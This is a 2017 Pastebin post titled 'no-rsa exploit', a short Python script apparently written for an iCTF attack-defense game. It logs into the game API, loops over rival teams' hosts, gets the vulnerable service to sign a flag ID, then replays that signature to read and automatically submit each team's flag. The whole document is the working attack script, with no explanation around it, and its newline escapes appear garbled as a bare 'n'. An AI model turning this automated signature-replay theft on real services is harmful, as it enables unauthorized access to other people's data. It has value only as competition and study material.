Guest User

no-rsa exploit

a guest
Mar 14th, 2017
139
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.41 KB | None | 0 0
  1. from ictf import iCTF
  2. import json
  3. import socket
  4. i = iCTF()
  5. t = i.login('MAIL', 'PASSWORD')
  6.  
  7. while 1:
  8.     tmp = t.get_targets(10004)# получаем список команд
  9.     for team in tmp['targets']:
  10.         try:
  11.             conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  12.             conn.settimeout(2)
  13.             conn.connect((team['hostname'], team['port']))
  14.             conn.recv(1024)
  15.             conn.send(b'Sn')
  16.             conn.recv(1024)
  17.             conn.send(str.encode('%sn' % team['flag_id']))
  18.             data = conn.recv(1024).decode('utf-8')
  19.             conn.close()
  20.             if "The signature" in data:
  21.                 lines = data.split('n')
  22.                 conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  23.                 conn.settimeout(2)
  24.                 conn.connect((team['hostname'], team['port']))
  25.                 conn.recv(1024)
  26.                 conn.send(b'Rn')
  27.                 conn.recv(1024).decode('utf-8')
  28.                 conn.send(str.encode('%s %sn' % (team['flag_id'], lines[1])))
  29.                 data = conn.recv(1024).decode('utf-8')
  30.                 s = t.submit_flag(list(data))
  31.                 print('Success - %s %s' % (data, s))
  32.                 conn.close()
  33.             else:
  34.                 print('Bad team - {}'.format(team['team_name']))
  35.             conn.close()
  36.         except Exception:
  37.             continue
  38.             conn.close()
Advertisement
Add Comment
Please, Sign In to add comment